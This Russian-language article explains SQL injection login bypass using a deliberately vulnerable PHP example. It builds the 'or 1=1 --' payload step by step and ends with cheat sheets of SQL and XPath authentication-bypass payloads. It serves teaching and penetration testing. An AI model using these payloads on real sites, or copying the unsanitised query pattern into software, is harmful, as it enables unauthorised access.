SQL-инъекции — один из распространённых способов взлома сайтов (веб-приложений) и программ, работающих с базами данных. Метод основан на внедрении в запрос произвольного SQL-кода. В статье покажу, как работает обход авторизации с помощью SQL-инъекции и поделюсь шпаргалкой.
Еще по теме: Поиск и взлом сервера базы данных MSSQL
Обход авторизации с помощью SQL-инъекции
Авторизация на сайте работает следующим образом:
- Сайт (веб-приложение) запрашивает имя пользователя и пароль.
- Сайт делает запрос к базе данных: «У нас есть пользователь с именем «User »и паролем« user»?».
- Если в базе данных указано, что данные для входа верны, тогда сайт позволит войти пользователю User.
Пример простого PHP кода с авторизацией:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
<?php $username = $_POST['username']; // Имя пользователя $password = $_POST['password']; // Пароль $query = "select username, password from users where username='.$username.' and password='.$password.' limit 0,1"; // команда для запроса $result = mysql_query($query); // запрос $rows = mysql_fetch_array($result); // получение данных if($rows) // Проверка на верность данных { echo "Login successful" ; // Create Session or Set Cookies }else{ echo "login data invalid"; } /> |
Уязвимости в коде
При попытке авторизации код получает данные введенные пользователем и помещает их прямо в SQL команду. Он не проверяет, какой тип данных представлен. Вот используемый SQL-запрос.
1 |
SELECT username,password FROM users WHERE username='$username' AND password='$password' LIMIT 0,1 ; |
Для поиска уязвимости в коде проведем фаззинг.
Фаззинг — это передача сайту случайных данных. Длинные целые числа / строки и т.п. Мы знаем, для того чтобы сломать SQL зарос, нужно ввести апостроф или двойные кавычки. «.
Попробуем ввести имя пользователя user и пароь pass' ». Для кода данный запрос будет выглядеть следующим образом:
1 |
SELECT username,password FROM users WHERE username='user' AND password='pass'' LIMIT 0,1 ; |
Что соответственно приводит к SQL ошибке:
1 2 |
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'test''' at line 1 |
Скрипт принимает наши данные и помещает их в кавычки. Если я введу в качестве пароля test, то sql запрос будет содержать password='test':
1 |
SELECT username,password FROM users WHERE username='user' AND password='test' LIMIT 0,1 ; |
Это уже не вызовет ошибку.
Но после данной строки есть еще и другой код. (‘LIMIT 0,1)
Таким образом, соответствие правилам SQL синтаксиса это неверно. Это заставило сервер выдать ошибку. Подумайте, что будет, если я добавлю эту строку в качестве ввода.
1 |
test' or 1 = 1 -- |
Запрос будет иметь вид:
1 |
SELECT username,password FROM users WHERE username='user' AND password='test' or 1 = 1 --' LIMIT 0,1 ; |
В SQL — — или — + в качестве символа для комментария. поэтому, если мы хотим что-то прокомментировать или заблокировать какую-то часть кода, мы можем использовать это. В этом запросе все последующее — игнорируется.
1 |
SELECT username,password FROM users WHERE username='user' AND password='test' or 1 = 1 |
Но что будет если к SQL-запросу добавить такую строку:
1 |
or 1 = 1 |
Что интересно в операторе OR, так это то, что он проверяет два логических оператора и, если один из них или оба верны, он вернет true.
поэтому, если пароль похож на строковый тест или 1 = 1, он вернет true. Поскольку 1 всегда равен 1 (как не странно), этот запрос игнорирует неправильный пароль. Так мы смогли обойти проверку пароля.
Но, а что, если мы не знаем ни пароля, ни имени пользователя?
Мы можем использовать эту строку как имя пользователя и что угодно как пароль.
1 |
user' or 1 = 1 -- |
Запрос:
1 |
SELECT username,password FROM users WHERE username='user' or 1 = 1 --' AND password='xxxx' LIMIT 0,1 ; |
Поскольку после — — запрос все игнорирует — его не волнует пароль. Это даст нам доступ к сайту.
Шпаргалка по SQL-инъекциям для обхода авторизации
Следующий список может использоваться исследователями безопасности, тестировщиками на проникновение, разработчиками и ИТ-энтузиастами для проверки надежности разработанного приложения.
1 2 3 4 5 6 7 8 9 10 |
or 1=1 or 1=1– or 1=1# or 1=1/* ‘ or 1=1 — ‘ or ‘1’=’1 ‘ or 1=1 –+ user’ — user’ # user’/* |
Полный список здесь.
Шпаргалка по XPath-инъекциям для обхода авторизации
1 2 3 4 5 6 7 8 9 10 11 12 13 |
admin' or ' admin' or '1'='2 ' or '1'='1 ' or ''=' ' or "a" or ' ' or 1 or ' ' or 1]%00 ' or /* or ' ' or true() or ' 'or string-length(name(.))<10 or' 'or contains(name,'adm') or' 'or contains(.,'adm') or' 'or position()=2 or' |
Также можно использовать приведенный выше список с Burp Intruder для автоматизации обхода авторизации (см. также Автоматизация атак в Burp Suite).
РЕКОМЕНДУЕМ:
- Взлом сайта с помощью SQLMap
- Интересные уязвимости PostgreSQL
- Ускорение и автоматизация слепой SQL-инъекции
Всем Привет! Ищу специалиста по кибербезопасности и хакингу
Нужно обучать людей. Разработать программу обучения или на основе старой сделать доработки и вперёд. Достойные деньги. Моя телега — @sareuoi